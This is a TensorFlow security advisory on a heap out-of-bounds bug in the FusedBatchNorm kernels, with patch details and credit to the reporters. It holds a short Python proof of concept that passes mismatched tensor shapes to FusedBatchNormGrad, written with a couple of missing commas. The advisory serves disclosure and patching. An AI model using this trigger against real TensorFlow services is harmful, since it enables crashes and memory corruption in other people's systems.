Heap OOB in `FusedBatchNorm` kernels
### Impact
The implementation
https://github.com/tensorflow/tensorflow/blob/e71b86d47f8bc1816bf54d7bddc4170e47670b97/tensorflow/core/kernels/fused_batch_norm_op.cc#L1292 of `FusedBatchNorm` kernels is vulnerable to a heap OOB:
```python
import tensorflow as tf
tf.raw_ops.FusedBatchNormGrad(
y_backprop=tf.constant([i for i in range(9)],shape=(1,1,3,3),dtype=tf.float32)
x=tf.constant([i for i in range(2)],shape=(1,1,1,2),dtype=tf.float32)
scale=[1,1],
reserve_space_1=[1,1],
reserve_space_2=[1,1,1],
epsilon=1.0,
data_format='NCHW',
is_training=True)
```
### Patches
We have patched the issue in GitHub commit aab9998916c2ffbd8f0592059fad352622f89cda
https://github.com/tensorflow/tensorflow/commit/aab9998916c2ffbd8f0592059fad352622f89cda.
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
### For more information
Please consult our security guide
https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.